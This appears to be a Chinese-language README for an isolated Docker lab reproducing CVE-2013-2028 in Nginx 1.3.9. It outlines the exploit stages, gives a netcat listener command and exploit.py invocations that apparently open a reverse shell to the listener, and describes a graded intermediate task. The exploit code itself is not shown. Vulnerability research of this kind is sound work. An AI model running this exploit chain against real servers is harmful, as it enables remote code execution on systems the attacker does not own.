受影响软件: Nginx 1.3.9
受影响函数: ngx_http_parse_chunked
CVE-2013-2028 是 Nginx 的 HTTP 分块传输编码解析器中的一个整数溢出漏洞。在本实验环境所针对的条件下,该漏洞可导致内存破坏,并可用于影响控制流。
本仓库提供了一个基于 Docker 的隔离环境,用于研究该漏洞并复现漏洞利用流程。
完整的漏洞利用包含四个主要阶段:
栈 Canary 恢复
通过逐字节探测恢复栈 Canary。
内存保护操作
计算相关地址信息,并构造所需的控制流序列,以对受控内存区域调用 mprotect。
Shellcode 放置
将 payload 复制到受控内存区域。
控制流转移
将执行流转移到受控内存区域。
完整的漏洞利用演示了从触发存在漏洞的解析器,到内存破坏与控制流操纵,最终实现受控代码执行的整个过程。
exploit.py 所需的 Python 依赖netcat在宿主机上,于配置的端口启动监听器:
nc -lvp 4345
运行漏洞利用时,请使用相同的端口作为 --listenerport(-lp)参数。
构建并启动 Docker 环境:
sudo docker-compose up --build
存在漏洞的目标在容器内运行 Nginx 1.3.9。
可通过以下命令验证 Nginx 版本:
docker-compose exec cve-2013-2028 /usr/local/nginx/sbin/nginx -v
运行:
python3 exploit.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port>
该漏洞利用会先执行 Canary 恢复和 payload 构造阶段,然后将最终 payload 发送至存在漏洞的目标。
如果已有先前恢复的 Canary,可通过以下方式提供:
python3 exploit.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port> \
-c '<canary>'
本仓库还提供了一个中间任务,用于评估漏洞研究工作流的进展情况。
运行:
python3 intermediate_task.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port>
该中间任务直接针对正在运行的 Docker 目标执行检查。它不依赖手动创建的证据文件或手动提供的 JSON 断言。
该任务验证两个方面:
该任务:
该任务:
nginx -t 验证 Nginx 配置。配置检查确认 Nginx 配置在语法上有效。这本身不应被解释为 CVE-2013-2028 已被缓解的证明。
示例输出:
============================================================
CVE-2013-2028 INTERMEDIATE TASK
============================================================
Target:
nginx running: True
nginx version: 1.3.9
vulnerable build: True
Progress:
[x] vulnerability_identified
[x] configuration_validated
All required checks completed.
Exercise complete.
中间任务将这些运行时检查的结果存储在:
grader_state.json
该文件仅用于持久化检查所产生的状态。它并非漏洞判定的来源。
本实验环境有意使用 Nginx 1.3.9,这是一个受 CVE-2013-2028 影响的旧版 Nginx 发行版。
该 Docker 环境为漏洞研究和漏洞利用练习提供了一个隔离目标。应仅通过实验配置所暴露的接口访问该存在漏洞的服务。
本仓库仅用于隔离实验环境中的教育和经授权的安全研究目的。
请勿对您不拥有或未获得明确授权测试的系统运行该漏洞利用。